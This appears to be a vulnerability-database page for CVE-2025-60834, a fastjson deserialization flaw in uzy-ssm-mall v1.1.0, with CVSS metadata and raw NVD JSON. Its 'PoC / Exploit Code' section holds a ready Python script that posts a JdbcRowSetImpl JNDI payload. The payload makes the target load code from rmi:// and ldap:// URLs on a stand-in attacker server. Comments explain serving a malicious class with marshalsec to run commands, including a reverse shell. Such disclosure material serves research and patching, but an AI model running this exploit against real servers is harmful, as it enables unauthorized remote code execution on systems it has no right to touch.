Security Vulnerability Report
中文
CVE-2025-60834 CVSS 6.5 MEDIUM

CVE-2025-60834

Published: 2025-10-08 15:16:25
Last Modified: 2025-10-10 16:16:04

Description

A fastjson deserialization vulnerability in uzy-ssm-mall v1.1.0 allows attackers to execute arbitrary code via supplying a crafted input.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ghostxbh:uzy-ssm-mall:1.1.0:*:*:*:*:*:*:* - VULNERABLE
uzy-ssm-mall v1.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Target URL - adjust to the actual endpoint that accepts JSON input target_url = "http://target-host:8080/api/endpoint" # Malicious fastjson deserialization payload using JdbcRowSetImpl + JNDI # This payload triggers JNDI lookup to attacker's malicious server payload = { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://attacker-server:1099/Exploit", "autoCommit": True } # Alternative payload using LDAP protocol ldap_payload = { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker-server:1389/Exploit", "autoCommit": True } # Send the malicious request headers = {"Content-Type": "application/json"} response = requests.post(target_url, data=json.dumps(payload), headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # To complete the attack, the attacker needs to set up a malicious JNDI server # using tools like marshalsec or ysoserial to serve the exploit class: # # java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \ # "http://attacker-server:8080/#Exploit" 1099 # # The Exploit class should contain the malicious code to execute on the target: # public class Exploit { # static { # try { # Runtime.getRuntime().exec("calc.exe"); // or reverse shell command # } catch (Exception e) { # e.printStackTrace(); # } # } # }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60834", "sourceIdentifier": "[email protected]", "published": "2025-10-08T15:16:24.967", "lastModified": "2025-10-10T16:16:03.993", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A fastjson deserialization vulnerability in uzy-ssm-mall v1.1.0 allows attackers to execute arbitrary code via supplying a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ghostxbh:uzy-ssm-mall:1.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "53311903-07A9-46BA-9647-53697EC22BAF"}]}]}], "references": [{"url": "https://gist.github.com/ChangeYourWay/5f2b0100b167edf868dd702c0fa3cc35", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/ChangeYourWay/post/blob/main/uzy-ssm-mall2.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}